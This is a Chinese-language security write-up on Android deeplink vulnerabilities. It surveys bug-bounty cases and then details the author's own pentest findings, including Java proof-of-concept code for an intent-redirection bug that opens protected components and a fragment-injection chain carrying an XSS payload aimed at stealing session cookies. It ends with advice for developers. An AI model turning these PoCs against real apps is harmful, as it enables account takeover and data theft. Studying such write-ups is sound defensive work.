作者:heeeeen
公眾號:OPPO安全應急響應中心

deeplink 是一種在網頁中啟動App的超鏈接。當用戶點擊deeplink鏈接時,Android系統會啟動注冊該deeplink的應用,打開在Manifest文件中注冊該deeplink的activity。

例如,按照Manifest文件,example://gizmoshttp://www.example.com/gizmos這兩個deeplink 都可以被用來啟動GizmosActivity.

xml<activity
              android:name="com.example.android.GizmosActivity"        
              roid:label="@string/title_gizmos" >
              <intent-filterandroid:label="@string/filter_view_http_gizmos">                     <action android:name="android.intent.action.VIEW" ></action>                         category android:name="android.intent.category.DEFAULT" />                  
                   <category android:name="android.intent.category.BROWSABLE" ></category>
                   <!-- Accepts URIs that begin with "http://www.example.com/gizmos” -->
                   <data android:scheme="http"                  android:host="www.example.com"
                         android:pathPrefix="/gizmos" ></data>
                   <!-- note that the leading "/" is required for pathPrefix-->        
                </intent-filter>
                <intent-filter android:label="@string/filter_view_example_gizmos">
                <action android:name="android.intent.action.VIEW" ></action>                         <category android:name="android.intent.category.DEFAULT" ></category>                 <category android:name="android.intent.category.BROWSABLE" ></category>            
                <!-- Accepts URIs that begin with "example://gizmos” -->                     <data android:scheme="example" 
                      android:host="gizmos" ></data>
                </intent-filter>
            </activity>```

對于deeplink,可以通過adb shell am start -a android.intent.action.VIEW -d <deeplink>打開注冊deeplink的Activity,方便地在本地環境測試。

由于deeplink天然具有遠程的特性,只需要用戶點擊一下,就可以啟動Activity,若這個過程造成安全影響,就是一個1-click的遠程漏洞,因此對App而言,deeplink是最為常見的遠程攻擊面。

有一類特殊的基于intent:// scheme的deeplink,各瀏覽器都出現過與之相關的安全漏洞,文章有專門的討論,其安全問題不是本文討論的重點。本文主要討論App自定義scheme deeplink引入的安全問題。

通過deeplink操縱WebView

在deeplink漏洞當中,打開App的WebView訪問攻擊者可控鏈接攜帶token,甚至盜取文件或者調用其中的特權接口,又最為常見。例如:

  • Facebook App

這是一個價值8500刀的Facebook app 漏洞,白帽子對Facebook App大量的fb:// deeplink進行了整理、篩選和自動化測試,找到了3個deeplink可以打開WebView組件訪問指定的url,而且這個url支持file://, 并可以打開本地文件,盡管沒有給出自動盜取文件的利用方法,facebook仍然慷慨地獎勵了這一漏洞。

  • Grab App

bagipro發現通過deeplinkgrab://open?screenType=HELPCENTER&page=<evil-site>可打開grab app的WebView,并訪問攻擊者可控的url,通過js調用WebView的特權接口可盜取用戶的敏感信息。

另外,之前玄武實驗室披露的應用克隆漏洞,其實也是通過deeplink打開WebView,利用WebView設置配置不當,盜取App私有目錄的所有文件實現應用克隆。這一類deeplink需要重點關注url、extra_url、page、link等參數,看是否可以設置為任意域名打開webview。

通過deeplink構造CSRF

針對twitter的Periscope Android App,若用戶點擊形為pscp://user/<user-id>或者 pscpd://user/<user-id>則可以繞過確認對話框,直接follow指定user-id的用戶。而用戶點擊www.pscp.tv<user-id>/follow是需要彈出確認對話框的。

Shopify App具有基于指紋的應用鎖功能,然而卻可以通過點擊deeplink https://www.shopify.com/admin/products繞過應用鎖,無限制地使用app的功能。

另外,還有 sambal0x分享的一個案例,通過deeplink構造條件競爭,繞過應用鎖。

通過deeplink打開App保護組件

這里分享自己在某App滲透測試中的deeplink漏洞案例(漏洞已經修復,但隱去app信息,以victim-app代替)類似于facebook app,該App包含大量(>200)的deeplink,散落在java代碼和asset目錄的js文件中。對這些deeplink進行篩選和簡單Fuzz,發現了多個安全問題。包括:

  1. 多個deeplink控制WebView url跳轉指定網址,只能用來phishing;
  2. 兩個deeplink可以打開ReactNativeWebView且支持file://;
  3. 一個deeplink可以打開WebView并攜帶重要的oauth_token泄露到攻擊者指定的鏈接;
  4. 兩個deeplink分別能啟動app調試、停止app調試并在不安全的外部存儲生成profile文件

在這些安全問題當中,最有意思的則是可以通過deeplink打開App的保護組件,漏洞的根本原因在于,Intent extra可以通過deeplink以參數的形式傳遞至App中哪些不導出的Activity中,從而暴露了大量的攻擊面。通過adb shell am start -a android.intent.action.VIEW -d <deeplink>測試所有的deeplink,同時監控adb logcat -s ActivityManager,尋找處理deeplink的最終Activity,我發現了兩個打開App保護組件的問題:

  • 通過deeplink打開任意activity

通過測試victim-app://c/identitychina,發現經過復雜的Intent傳遞,最終可以打開IdentityChinaActivity

如代碼所示,globalIdentityFlowIntent作為一個Parcelable對象,可以跟隨deeplink的Intent extra傳遞,為攻擊者可控。而這個embeded Intent最終會傳入startActivityForResult,造成一個launchAnyWhere漏洞,攻擊者可以通過globalIdentityFlowIntent指向不導出的Activity,或者構造App所持有權限的特權操作,實現提權或者盜取敏感信息。

java
protected void onActivityResult(int arg3, int arg4, Intent arg5) { 
        super.onActivityResult(arg3, arg4, arg5);
        int v0 = 100;
        if(arg3 == 1 && arg5 != null) {
           String v3 = arg5.getStringExtra("country_code");
           IdentityChinaAnalyticsV2.d(v3);
           if(this.o != null) {
               AccountVerificationActivityIntents.a(v3);
               this.startActivityForResult(this.o, v0);  //this.o is an attacker controlled Intent
               }
        }
        else if(arg3 == v0) {
           arg3 = -1;
           if(arg4 == arg3) { 
               this.setResult(arg3);
               this.finish();
            }
        }
    }
    protected void onCreate(Bundle arg2) {
          super.onCreate(arg2);
          this.setContentView(layout.activity_simple_fragment);
          ButterKnife.a(((Activity)this));
          if(arg2 == null) {
              this.c(true);
              new ChinaVerificationsRequest().a(this.n).execute(this.I);
          }
          Intent v2 = this.getIntent();
          if(v2.getParcelableExtra("globalIdentityFlowIntent") != null) {
            this.o = v2.getParcelableExtra("globalIdentityFlowIntent"); //Attacker controlled Intent        
          }
    }

通過如下POC可實現漏洞利用

java
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse("victim-app://c/identitychina"));

Intent payload = new Intent();
payload.setComponent(new ComponentName("<victim app package name>",
                    "<victim app protected component name>"));
intent.putExtra("globalIdentityFlowIntent", payload);
startActivity(intent);
```
  • 通過deeplink打開任意fragment

對deeplink victim-app://c/contact/2?fragmen_class=AAAA進行測試時,觸發了crash,如下

```shell
$ adb shell am start -a android.intent.action.VIEW "victim-app://c/contact/2?fragmen_class=AAAA"

03-06 08:43:37.019 27066 27066 E AndroidRuntime: Process: com.victim-app.android, PID: 27066
03-06 08:43:37.019 27066 27066 E AndroidRuntime: java.lang.RuntimeException: Unable to start activity ComponentInfo{com.victim-app.android/com.victim-app.android.core.activities.ModalActivity}: android.support.v4.app.Fragment$InstantiationException: Unable to instantiate fragment AAAA: make sure class name exists, is public, and has an empty constructor that is public
......(skip)
03-06 08:43:37.019 27066 27066 E AndroidRuntime: Caused by: java.lang.ClassNotFoundException: Didn't find class "AAAA" on path: DexPathList[[zip file "/data/app/com.victim-app.android-88DWiVjEAeeamfvTk2khAA==/base.apk"],nativeLibraryDirectories=[/data/app/com.victim-app.android-88DWiVjEAeeamfvTk2khAA==/lib/arm, /data/app/com.victim-app.android-88DWiVjEAeeamfvTk2khAA==/base.apk!/lib/armeabi-v7a, /system/lib, /vendor/lib]]
```

仔細分析,發現crash原因在于deeplink最終打開了ModalActivity,無法對名為AAAA的Fragment類實例化。如果在deeplink中的fragment_class參數傳入一個victim-app已有的Fragment,則可以通過ModalActivity啟動。在這個參數當中,我嘗試傳入了所有已有的Fragment Class,有的可以成功啟動,有的卻因為參數不完整造成crash,但是這里能夠造成何種安全影響卻費了一番周折。

最終,我找到一個GoogleWebViewMapFragment,有機會執行loadDataWithBaseURL,通過WebView加載HTML/JS.

```java
@SuppressLint(value={"SetJavaScriptEnabled", "AddJavascriptInterface"}) public 
       View a(LayoutInflater arg7, ViewGroup arg8, Bundle arg9) {        View v7 = arg7.inflate(layout.fragment_webview, arg8, false);
       this.a = v7.findViewById(id.webview);
       this.d = v7;
       WebSettings v8 = this.a.getSettings();
       v8.setSupportZoom(true);
       v8.setBuiltInZoomControls(false);
       v8.setJavaScriptEnabled(true);
       v8.setGeolocationEnabled(true);
       v8.setAllowFileAccess(false);
       v8.setAllowContentAccess(false);
       this.a.setWebChromeClient(new GeoWebChromeClient(this));
       VicMapType v8_1 = VicMapType.b(this.o()); 
       this.a.loadDataWithBaseURL(v8_1.c(), v8_1.a(this.w()), "text/html", "base64", null); //noice!!! 
       this.a.addJavascriptInterface(new MapsJavaScriptInterface(this, null), "VicMapView");
       return v7;
    }
```

第一個參數v8_1.c()為baseUrl,第二個參數v8_1.a(this.w())為data,如果能同時通過deeplink控制這兩個參數,就可以操縱WebView在任意baseUrl加載任意HTML/JS。

第一個參數v8_1.c()就是下面的c()方法,這個參數的返回值this.c將會放在某個Bundle中的map_domain,此外,也發現this.b作為Bundle的map_urlthis.a作為Bundle的map_file_name

第二個參數v8_1.a(this.w())為下面的a(Resources arg3)方法,調用VicMapUtils.a方法,并調用this.b方法對文件中的MAPURL字符串進行替換。

```java
public VicMapType(String arg1, String arg2, String arg3) {
       super();
       this.a = arg1;
       this.b = arg2; 
       this.c = arg3;
    } 
    public String a(Resources arg3) { 
       return VicMapUtils.a(arg3, this.a).replace("MAPURL", this.b).replace("LANGTOKEN",Locale.getDefault().getLanguage()).replace("REGIONTOKEN", Locale.getDefault().getCountry());
    }public Bundle a(Bundle arg3) {
        arg3.putString("map_domain", this.c()); // this.c is put in map_domain        
        arg3.putString("map_url", this.b()); // this.b is put in map_url             arg3.putString("map_file_name", this.a()); // this.a is put in map_file_name        
        return arg3;
    }   
    String a() {
        return this.a;
    }
    public static VicMapType b(Bundle arg5) { 
       return new VicMapType(arg5.getString("map_file_name", ""), arg5.getString("map_url", ""), arg5.getString("map_domain", ""));
    } 
    String b(){
       return this.b;
    }
    String c() {  // v8_1.c() 
       return this.c; 
    }
```

檢查VicMapUtils.a,發現是打開app asset目錄下的文件并讀入。

```
java
public class VicMapUtils { 
   public static String a(Resources arg2, String arg3) {
   try {
       InputStream v2 = arg2.getAssets().open(arg3);
       String v0 = VicMapUtils.a(v2);
       v2.close();
       return v0;
    } 
    catch(IOException ) { 
       StringBuilder v0_1 = new StringBuilder();
       v0_1.append("unable to load asset ");
       v0_1.append(arg3);
       throw new RuntimeException(v0_1.toString()); 
       } 
     }

     public static String a(InputStream arg2) {
        BufferedReader v0 = new BufferedReader(new InputStreamReader(arg2));
        StringBuilder v2 = new StringBuilder();
        while(true) {
            String v1 = v0.readLine();
            if(v1 == null) {
                break; 
        }

        v2.append(v1);
        v2.append("\n");
    }

    v0.close();
    return v2.toString();
    }
}
```

此時,我檢查了APK中的asset目錄,找到了一些html文件

```
shell$ ls -l *.html
-rwxr-xr-x  1 heeeeen  h4cker   8290  3  6 08:28 google_map.html
-rwxr-xr-x  1 heeeeen  h4cker  15024  3  6 08:28 leaflet_map.html
-rwxr-xr-x  1 heeeeen  h4cker   5546  3  6 08:28 mapbox.html
```

同時,在google_map.html中找到了MAPURL字符串:

html$ cat google_map.html
<!DOCTYPE html>
<html>
<head>
     <meta name="viewport" content="initial-scale=1.0, user-scalable=no">
     <meta charset="utf-8">
     <style>
           html, body, #map-canvas { 
           height: 100%;
           margin: 0px;
           padding: 0px 
           }
</style>
    <script src="MAPURL?v=3.exp&sensor=false&language=LANGTOKEN&region=REGIONTOKEN"></script> 
    <script src="file:///android_asset/geolocate_user.js" type="text/javascript"></script>
    <script>
var map;
var infoWindow = null;
var markers = {};
var infoWindowContent = {};
var polylines = {};

漏洞利用的線索開始有一些明了,如果控制了MAPURL字符串,就可以構造一個XSS。

再來看看所涉及Bundle的構造,這個Bundle其實就是啟動Fragment的參數,經過實驗表明這個Bundle參數可以隨deeplink的Intent extra傳遞。

java
public Bundle a(Bundle arg3) {
        arg3.putString("map_domain", this.c()); // this.c is put in map_domain
        arg3.putString("map_url", this.b()); // this.b is put in map_url 
        arg3.putString("map_file_name", this.a()); // this.a is put in map_file_name 
        return arg3;
    }

所以,map_domain作為loadDataWithBaseURL的第一個參數,需要傳入我們想要在其中執行JS的domain,也就是該App使用的登陸態domain:http://www.vicitim-app.commap_url>作為loadDataWithBaseURL的第二個參數,需要傳入攻擊payload;而map_file_name則需要指向文件名google_map.html,WebView就會加載這個注入攻擊payload的html文件。

至此,可以通過這個deeplink打開任意fragment的漏洞,實現可控任意域執行任意JS,實現盜取登陸態的用戶cookie!

POC如下:

java
Intent payload = new Intent(Intent.ACTION_VIEW);
payload.setData(Uri.parse("victim-app://c/contact/2?fragmen_class=com.victim.app.GoogleWebViewMapFragment"));
Bundle extra = new Bundle(); 
extra.putString("map_url", "\"></script><script>alert(document.cookie);</script><script>"); 
extra.putString("map_file_name", "google_map.html");
extra.putString("map_domain", "https://www.victim-app.com"); payload.putExtra("bundle", extra);
startActivity(payload);

既然deeplink暴露了大量的攻擊面,且容易出現遠程漏洞,因此deeplink的收集就成為漏洞挖掘的重點。首先,需要解析Manifest文件中的android:schemeandroid:host提取出deeplink的protocol://hostname,接下來可以采用五種方法:

  • 本地搜索:通過Mainifest文件篩選出自定義的deeplink URL scheme,進而在本地逆向代碼中正則匹配,提取出盡可能完整的deeplink URI,注意不要漏過所有文件。因為以經驗來看,deeplink可能出現在App的Java代碼中、Asset目錄的資源文件/js中,甚至還可能出現在so當中;
  • 流量監控:對app進行抓包,利用HTTP抓包工具或者實現成burp插件監測流量中的deeplink,盡可能在app中點擊各種場景,從請求包和返回包中正則匹配出完整的deeplink;
  • IPC監控:通過hook動態監測IPC通信中出現的deeplink,將Intent中的data提取出來,可以利用burp插件brida,甚至與流量監控整合;
  • 遠程爬取:對app Web端網頁進行爬取,篩選出deeplink。不過這種方法我沒有實踐過,只是偶爾在網頁源碼中發現過。
  • 基于deeplink特征:如果APP使用了一些路由分發的sdk,由于這類sdk有特定的規律,因此可以通過正則解析這類規律來獲取到完整的deeplink。以ali arouter為例,可以通過提取build Route后面的path作為deeplink URI的path。提取build Autowired后面的name作為deeplink中的parameters。然后和第一步中獲取到的內容進行拼接,從而獲取到一個完整的deeplink。

然而,按照上述思路收集的deeplink還是可能不完整,難以得到完整的參數。從白帽子的角度,deeplink收集始終是挖掘deeplink漏洞的最大難點。

0x04 對開發者的建議

開發者特別要重點關注與deeplink有關的WebView安全問題,這一類漏洞在deeplink安全問題中占比最大。需要小心deeplink中url、extra_url、page、link、redirect等參數,檢查是否可以修改這些參數使WebView訪問任意域名。如果這本身是一個業務設計,建議對用戶給出外域跳轉提示,同時禁止WebView對file://的訪問,禁止loadUrl訪問外域攜帶重要的認證token,并仔細檢查WebView開放敏感javaScriptInterfaceJsBridge接口所做的域名白名單校驗。

此外,由于deeplink無法驗證來源,因此也不能用來設計為觸發一個對安全有影響的敏感操作,例如:

  • 發送攜帶認證token的數據包
  • 打開保護組件
  • 繞過應用鎖
  • 無需用戶交互對外撥號
  • 靜默安裝應用
  • ......

建議使用deeplink的App開發者向內部安全團隊提供所有deeplink清單和設計文檔進行安全測試,這樣可以比外部攻擊者更早、更全面地發現deeplink引入的安全問題。

參考鏈接:

  1. http://www.mbsd.jp/Whitepaper/IntentScheme.pdf

  2. https://wooyun.js.org/drops/Intent%20scheme%20URL%20attack.html

  3. https://ash-king.co.uk/facebook-bug-bounty-09-18.html

  4. https://hackerone.com/reports/401793

  5. https://hackerone.com/reports/583987

  6. https://hackerone.com/reports/637194

  7. https://blog.sambal0x.com/2019/10/18/Passcodeactivityraceconditionbypass.html


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1175/